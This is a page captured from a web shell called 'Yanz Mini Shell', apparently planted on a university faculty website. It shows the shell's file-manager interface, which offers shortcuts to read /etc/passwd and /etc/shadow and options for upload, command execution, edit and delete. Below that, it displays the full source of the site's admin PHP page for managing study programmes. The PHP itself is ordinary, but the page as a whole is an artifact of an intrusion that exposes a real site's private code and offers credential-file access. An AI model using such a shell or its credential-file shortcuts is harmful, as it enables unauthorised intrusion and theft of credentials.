Yanz Mini Shell
[_]
[-]
[X]
[
HomeShell 1
] [
HomeShell 2
] [
Upload
] [
Command Shell
] [
Scripting
] [
About
]
[ Directory ] =>
/
home
uncpac53
public_html
fsains.uncp.ac.id
pages
partials
Action
[*]
New File
[*]
New Folder
Sensitive File
[*]
/etc/passwd
[*]
/etc/shadow
[*]
/etc/resolv.conf
[
Delete
] [
Edit
] [
Rename
] [
Back
]
<?php // admin/program-studi.php — Kelola konten lengkap Program Studi (Point 4) require_once __DIR__ . '/../config/config.php'; require_once __DIR__ . '/../includes/image_helper.php'; require_once __DIR__ . '/../includes/auth.php'; require_once 'includes/csrf.php'; requireSuperAdmin(); $useTinyMCE = true; $page_title = "Kelola Program Studi"; $editing = null; $error = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST') { validateCSRFToken($_POST['csrf_token']); $action = $_POST['action'] ?? 'save'; $id = (int)($_POST['id'] ?? 0); if ($action === 'save') { $slug = trim($_POST['slug'] ?? ''); $nama = trim($_POST['nama'] ?? ''); $jenjang = trim($_POST['jenjang'] ?? 'S1'); $icon = trim($_POST['icon'] ?? 'fas fa-flask'); $akreditasi = trim($_POST['akreditasi'] ?? ''); $sk_akreditasi = trim($_POST['sk_akreditasi'] ?? ''); $akreditasi_berlaku_sampai = trim($_POST['akreditasi_berlaku_sampai'] ?? '') ?: null; $gelar_lulusan = trim($_POST['gelar_lulusan'] ?? ''); $ketua_prodi = trim($_POST['ketua_prodi'] ?? ''); $deskripsi_singkat = trim($_POST['deskripsi_singkat'] ?? ''); $visi = trim($_POST['visi'] ?? ''); $misi = trim($_POST['misi'] ?? ''); $profil_lulusan = trim($_POST['profil_lulusan'] ?? ''); $kompetensi = trim($_POST['kompetensi'] ?? ''); $kurikulum = $_POST['kurikulum'] ?? ''; $prospek_karir = trim($_POST['prospek_karir'] ?? ''); $fasilitas_lab = trim($_POST['fasilitas_lab'] ?? ''); $sort_order = (int)($_POST['sort_order'] ?? 0); $is_active = isset($_POST['is_active']) ? 1 : 0; // Sertifikat akreditasi (PDF, opsional — kalau tidak upload baru, pertahankan yang lama) $sertifikat_akreditasi = ''; if ($id > 0) { $sf = $conn->prepare("SELECT sertifikat_akreditasi FROM program_studi WHERE id = ?"); $sf->bind_param('i', $id); $sf->execute(); $sertifikat_akreditasi = $sf->get_result()->fetch_assoc()['sertifikat_akreditasi'] ?? ''; } if (!empty($_FILES['sertifikat_akreditasi']['name'])) { $upcert = uploadPDF($_FILES['sertifikat_akreditasi'], __DIR__ . '/../assets/files/akreditasi', 10, 'akreditasi'); if ($upcert['success']) { if (!empty($sertifikat_akreditasi)) { hapusGambar($sertifikat_akreditasi, __DIR__ . '/../assets/files/akreditasi'); } $sertifikat_akreditasi = $upcert['filename']; } else { $error = $upcert['error']; } } if (strlen($nama) < 3) $error = $error ?: 'Nama prodi minimal 3 karakter'; elseif (!preg_match('/^[a-z0-9\-]+$/', $slug)) $error = $error ?: 'Slug hanya huruf kecil/angka/strip'; elseif (empty($error)) { if ($id > 0) { $stmt = $conn->prepare("UPDATE program_studi SET slug=?, nama=?, jenjang=?, icon=?, akreditasi=?, sk_akreditasi=?, akreditasi_berlaku_sampai=?, sertifikat_akreditasi=?, gelar_lulusan=?, ketua_prodi=?, deskripsi_singkat=?, visi=?, misi=?, profil_lulusan=?, kompetensi=?, kurikulum=?, prospek_karir=?, fasilitas_lab=?, sort_order=?, is_active=? WHERE id=?"); // 18 kolom teks/tanggal (s) + sort_order + is_active + id (i) = 21 parameter total $stmt->bind_param('ssssssssssssssssssiii', $slug, $nama, $jenjang, $icon, $akreditasi, $sk_akreditasi, $akreditasi_berlaku_sampai, $sertifikat_akreditasi, $gelar_lulusan, $ketua_prodi, $deskripsi_singkat, $visi, $misi, $profil_lulusan, $kompetensi, $kurikulum, $prospek_karir, $fasilitas_lab, $sort_order, $is_active, $id); } else { $stmt = $conn->prepare("INSERT INTO program_studi (slug, nama, jenjang, icon, akreditasi, sk_akreditasi, akreditasi_berlaku_sampai, sertifikat_akreditasi, gelar_lulusan, ketua_prodi, deskripsi_singkat, visi, misi, profil_lulusan, kompetensi, kurikulum, prospek_karir, fasilitas_lab, sort_order, is_active) VALUES (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)"); // 18 kolom teks/tanggal (s) + sort_order + is_active (i) = 20 parameter total $stmt->bind_param('ssssssssssssssssssii', $slug, $nama, $jenjang, $icon, $akreditasi, $sk_akreditasi, $akreditasi_berlaku_sampai, $sertifikat_akreditasi, $gelar_lulusan, $ketua_prodi, $deskripsi_singkat, $visi, $misi, $profil_lulusan, $kompetensi, $kurikulum, $prospek_karir, $fasilitas_lab, $sort_order, $is_active); } if ($stmt->execute()) { logActivity($id > 0 ? 'update' : 'add', 'program_studi', $id ?: $conn->insert_id, "Prodi: $nama"); $_SESSION['flash'] = ['message' => 'Program Studi tersimpan!', 'type' => 'success']; header('Location: program-studi.php'); exit; } $error = 'Gagal menyimpan: ' . $stmt->error; } } } if (!empty($_GET['edit'])) { $eid = (int)$_GET['edit']; $stmt = $conn->prepare("SELECT * FROM program_studi WHERE id = ?"); $stmt->bind_param('i', $eid); $stmt->execute(); $editing = $stmt->get_result()->fetch_assoc(); } $items = $conn->query("SELECT * FROM program_studi ORDER BY sort_order ASC, nama ASC"); $csrf = generateCSRFToken(); ob_start(); ?> <div class="max-w-6xl mx-auto"> <h1 class="text-3xl font-bold text-[#0a2b3e] mb-2"><i class="fas fa-flask text-blue-500"></i> Program Studi</h1> <p class="text-gray-500 mb-6">Kelola konten lengkap tiap prodi — visi, misi, kurikulum, profil lulusan, prospek karir. Tampil di halaman <code>pages/prodi.php?slug=...</code></p> <?php if ($error): ?><div class="bg-red-100 text-red-700 p-4 rounded-2xl mb-4"><?= e($error) ?></div><?php endif; ?> <?php if ($editing || isset($_GET['new'])): ?> <div class="bg-white rounded-3xl shadow p-6 mb-6"> <h2 class="text-xl font-bold mb-4"><?= $editing ? 'Edit Prodi: ' . e($editing['nama']) : 'Tambah Program Studi Baru' ?></h2> <div class="bg-blue-50 border-l-4 border-blue-400 p-4 rounded-2xl mb-5 text-sm text-blue-900"> <i class="fas fa-info-circle"></i> <strong>Tips:</strong> Field <em>Visi, Misi, Profil Lulusan, Kompetensi, Prospek Karir, Fasilitas Lab</em> boleh dikosongkan dan diisi nanti — halaman publik akan tampil sebagian section yang sudah diisi saja. </div> <form method="POST" enctype="multipart/form-data" class="space-y-4"> <input type="hidden" name="csrf_token" value="<?= e($csrf) ?>"> <input type="hidden" name="id" value="<?= $editing['id'] ?? 0 ?>"> <!-- Identitas --> <div class="border-t pt-4"> <h3 class="font-semibold text-gray-700 mb-3"><i class="fas fa-id-card"></i> Identitas Prodi</h3> <div class="grid grid-cols-1 md:grid-cols-2 gap-4"> <div> <label class="block text-sm font-semibold mb-1">Nama Prodi <span class="text-red-500">*</span></label> <input type="text" name="nama" required value="<?= e($editing['nama'] ?? '') ?>" placeholder="Biologi" class="w-full px-4 py-3 border rounded-xl"> </div> <div> <label class="block text-sm font-semibold mb-1">Slug (URL) <span class="text-red-500">*</span></label> <input type="text" name="slug" required pattern="[a-z0-9\-]+" value="<?= e($editing['slug'] ?? '') ?>" placeholder="biologi" class="w-full px-4 py-3 border rounded-xl font-mono"> </div> <div> <label class="block text-sm font-semibold mb-1">Jenjang</label> <input type="text" name="jenjang" maxlength="10" value="<?= e($editing['jenjang'] ?? 'S1') ?>" class="w-full px-4 py-3 border rounded-xl"> </div> <div> <label class="block text-sm font-semibold mb-1">Icon (Font Awesome)</label> <input type="text" name="icon" value="<?= e($editing['icon'] ?? 'fas fa-flask') ?>" placeholder="fas fa-dna" class="w-full px-4 py-3 border rounded-xl"> </div> <div> <label class="block text-sm font-semibold mb-1">Akreditasi</label> <input type="text" name="akreditasi" maxlength="30" value="<?= e($editing['akreditasi'] ?? '') ?>" placeholder="Baik Sekali / Unggul" class="w-full px-4 py-3 border rounded-xl"> </div> <div> <label class="block text-sm font-semibold mb-1">Gelar Lulusan</label> <input type="text" name="gelar_lulusan" value="<?= e($editing['gelar_lulusan'] ?? '') ?>" placeholder="S.Si. (Sarjana Sains)" class="w-full px-4 py-3 border rounded-xl"> </div> </div> <div class="mt-4"> <label class="block text-sm font-semibold mb-1">Ketua Program Studi</label> <input type="text" name="ketua_prodi" value="<?= e($editing['ketua_prodi'] ?? '') ?>" placeholder="Dr. Nama Ketua, S.Si., M.Si." class="w-full px-4 py-3 border rounded-xl"> </div> </div> <!-- Akreditasi LAMSAMA --> <div class="border-t pt-4"> <h3 class="font-semibold text-gray-700 mb-3"><i class="fas fa-certificate text-amber-500"></i> Detail Akreditasi LAMSAMA</h3> <div class="grid grid-cols-1 md:grid-cols-2 gap-4"> <div> <label class="block text-sm font-semibold mb-1">Nomor SK Akreditasi</label> <input type="text" name="sk_akreditasi" value="<?= e($editing['sk_akreditasi'] ?? '') ?>" placeholder="025/SK/LAMSAMA/Akred/S/XII/2022" class="w-full px-4 py-3 border rounded-xl font-mono text-sm"> </div> <div> <label class="block text-sm font-semibold mb-1">Berlaku Sampai</label> <input type="date" name="akreditasi_berlaku_sampai" value="<?= e($editing['akreditasi_berlaku_sampai'] ?? '') ?>" class="w-full px-4 py-3 border rounded-xl"> </div> </div> <div class="mt-4"> <label class="block text-sm font-semibold mb-1">Sertifikat Akreditasi (PDF)</label> <?php if (!empty($editing['sertifikat_akreditasi'])): ?> <p class="text-sm mb-2"> <a href="<?= $base_url ?>/assets/files/akreditasi/<?= e($editing['sertifikat_akreditasi']) ?>" target="_blank" class="text-blue-600 hover:underline"> <i class="fas fa-file-pdf"></i> Lihat sertifikat saat ini </a> </p> <?php endif; ?> <input type="file" name="sertifikat_akreditasi" accept="application/pdf" class="w-full px-4 py-3 border rounded-xl"> <p class="text-xs text-gray-500 mt-1">Upload scan SK/sertifikat akreditasi dalam format PDF (maks 10MB). Kosongkan kalau tidak ingin mengganti file yang sudah ada.</p> </div> </div> <!-- Deskripsi --> <div class="border-t pt-4"> <h3 class="font-semibold text-gray-700 mb-3"><i class="fas fa-align-left"></i> Deskripsi</h3> <div> <label class="block text-sm font-semibold mb-1">Deskripsi Singkat (1-2 kalimat)</label> <textarea name="deskripsi_singkat" rows="2" class="w-full px-4 py-3 border rounded-xl"><?= e($editing['deskripsi_singkat'] ?? '') ?></textarea> </div> </div> <!-- Visi & Misi --> <div class="border-t pt-4"> <h3 class="font-semibold text-gray-700 mb-3"><i class="fas fa-eye"></i> Visi & Misi Prodi</h3> <div> <label class="block text-sm font-semibold mb-1">Visi</label> <textarea name="visi" rows="3" class="w-full px-4 py-3 border rounded-xl"><?= e($editing['visi'] ?? '') ?></textarea> </div> <div class="mt-3"> <label class="block text-sm font-semibold mb-1">Misi (pisah tiap poin dengan baris baru)</label> <textarea name="misi" rows="5" class="w-full px-4 py-3 border rounded-xl" placeholder="Menyelenggarakan pendidikan... Mengembangkan penelitian... Melaksanakan pengabdian..."><?= e($editing['misi'] ?? '') ?></textarea> </div> </div> <!-- Profil Lulusan & Kompetensi --> <div class="border-t pt-4"> <h3 class="font-semibold text-gray-700 mb-3"><i class="fas fa-user-graduate"></i> Profil Lulusan</h3> <div> <label class="block text-sm font-semibold mb-1">Profil Lulusan (pisah tiap profil dengan baris baru)</label> <textarea name="profil_lulusan" rows="4" class="w-full px-4 py-3 border rounded-xl" placeholder="Peneliti di bidang... Tenaga pengajar SMA/SMK... Quality control di industri..."><?= e($editing['profil_lulusan'] ?? '') ?></textarea> <p class="text-xs text-gray-500 mt-1">Posisi/peran yang bisa diisi alumni setelah lulus</p> </div> <div class="mt-3"> <label class="block text-sm font-semibold mb-1">Kompetensi Lulusan</label> <textarea name="kompetensi" rows="4" class="w-full px-4 py-3 border rounded-xl" placeholder="Kemampuan analisis statistik Penguasaan instrumen laboratorium ..."><?= e($editing['kompetensi'] ?? '') ?></textarea> </div> </div> <!-- Kurikulum --> <div class="border-t pt-4"> <h3 class="font-semibold text-gray-700 mb-3"><i class="fas fa-book"></i> Kurikulum</h3> <label class="block text-sm font-semibold mb-1">Kurikulum (rich text — bisa pakai tabel per semester)</label> <textarea name="kurikulum" class="tinymce-editor" rows="12"><?= e($editing['kurikulum'] ?? '') ?></textarea> <p class="text-xs text-gray-500 mt-1">Editor di atas mendukung tabel — pakai untuk daftar mata kuliah per semester.</p> </div> <!-- Prospek + Fasilitas --> <div class="border-t pt-4"> <h3 class="font-semibold text-gray-700 mb-3"><i class="fas fa-briefcase"></i> Prospek Karir & Fasilitas</h3> <div> <label class="block text-sm font-semibold mb-1">Prospek Karir (pisah dengan baris baru)</label> <textarea name="prospek_karir" rows="4" class="w-full px-4 py-3 border rounded-xl" placeholder="Peneliti BRIN, LAPAN, lembaga penelitian Pengajar di sekolah menengah Analis di industri farmasi/pangan Konsultan lingkungan..."><?= e($editing['prospek_karir'] ?? '') ?></textarea> </div> <div class="mt-3"> <label class="block text-sm font-semibold mb-1">Fasilitas Laboratorium</label> <textarea name="fasilitas_lab" rows="4" class="w-full px-4 py-3 border rounded-xl" placeholder="Lab Mikrobiologi Lab Bioteknologi Lab Ekologi..."><?= e($editing['fasilitas_lab'] ?? '') ?></textarea> </div> </div> <!-- Settings --> <div class="border-t pt-4 grid grid-cols-1 md:grid-cols-2 gap-4"> <div> <label class="block text-sm font-semibold mb-1">Urutan</label> <input type="number" name="sort_order" min="0" value="<?= (int)($editing['sort_order'] ?? 0) ?>" class="w-full px-4 py-3 border rounded-xl"> </div> <label class="flex items-center gap-3 cursor-pointer self-end pb-2"> <input type="checkbox" name="is_active" value="1" <?= !$editing || $editing['is_active'] ? 'checked' : '' ?> class="w-5 h-5"> <span class="text-sm">Tampilkan di publik</span> </label> </div> <div class="flex gap-2 pt-4 border-t"> <a href="program-studi.php" class="px-6 py-3 bg-gray-100 hover:bg-gray-200 rounded-xl">Batal</a> <button type="submit" name="action" value="save" class="flex-1 bg-blue-500 hover:bg-blue-600 text-white py-3 rounded-xl font-semibold"> <i class="fas fa-save"></i> <?= $editing ? 'Update Prodi' : 'Simpan Prodi Baru' ?> </button> </div> </form> </div> <?php else: ?> <div class="mb-6 flex justify-end"> <a href="?new=1" class="bg-blue-500 hover:bg-blue-600 text-white px-6 py-3 rounded-2xl font-medium"><i class="fas fa-plus"></i> Tambah Prodi Baru</a> </div> <?php endif; ?> <div class="bg-white rounded-3xl shadow p-6"> <h2 class="text-xl font-bold mb-4">Daftar Program Studi (<?= $items ? $items->num_rows : 0 ?>)</h2> <?php if (!$items || $items->num_rows === 0): ?> <div class="text-center py-12 text-gray-500"><div class="text-6xl mb-3">🧪</div><p>Belum ada Program Studi. Tambah dari tombol di atas.</p></div> <?php else: ?> <div class="space-y-3"> <?php while ($r = $items->fetch_assoc()): ?> <div class="flex items-center gap-4 p-4 border rounded-xl <?= !$r['is_active'] ? 'opacity-60 bg-gray-50' : '' ?>"> <div style="width:56px; height:56px; background:linear-gradient(135deg,#dbeafe,#bfdbfe); border-radius:14px; display:flex; align-items:center; justify-content:center; flex-shrink:0;"> <i class="<?= e($r['icon'] ?? 'fas fa-flask') ?> text-2xl text-blue-600"></i> </div> <div class="flex-1 min-w-0"> <div class="font-semibold text-lg"> <?= e($r['jenjang']) ?> <?= e($r['nama']) ?> <?php if ($r['akreditasi']): ?><span class="ml-2 text-xs px-2 py-0.5 rounded-full bg-amber-100 text-amber-700 font-bold">Akreditasi <?= e($r['akreditasi']) ?> (LAMSAMA)</span><?php endif; ?> <?php if (!empty($r['sertifikat_akreditasi'])): ?><span class="ml-1 text-xs px-2 py-0.5 rounded-full bg-green-100 text-green-700"><i class="fas fa-file-pdf"></i> Sertifikat ada</span><?php endif; ?> <?php if (!$r['is_active']): ?><span class="text-xs px-2 py-0.5 rounded-full bg-red-100 text-red-700">Nonaktif</span><?php endif; ?> </div> <div class="text-sm text-gray-600 mt-0.5"><?= e($r['gelar_lulusan'] ?? '') ?> · slug: <code class="text-xs"><?= e($r['slug']) ?></code></div> <div class="text-xs text-gray-400 mt-1"> <?php $filled = []; foreach (['visi','misi','profil_lulusan','kompetensi','kurikulum','prospek_karir','fasilitas_lab'] as $f) { if (!empty($r[$f])) $filled[] = $f; } echo 'Konten terisi: ' . count($filled) . '/7 section'; ?> </div> </div> <a href="?edit=<?= (int)$r['id'] ?>" class="px-4 py-2 bg-amber-500 hover:bg-amber-600 text-white rounded-lg text-sm"><i class="fas fa-edit"></i> Edit</a> <a href="<?= $base_url ?>/pages/prodi.php?slug=<?= e($r['slug']) ?>" target="_blank" class="px-4 py-2 bg-gray-100 hover:bg-gray-200 rounded-lg text-sm"><i class="fas fa-external-link-alt"></i> Lihat</a> </div> <?php endwhile; ?> </div> <?php endif; ?> </div> </div> <?php $content = ob_get_clean(); include 'includes/admin_layout.php'; ?>
Free Space : 56532922368 Byte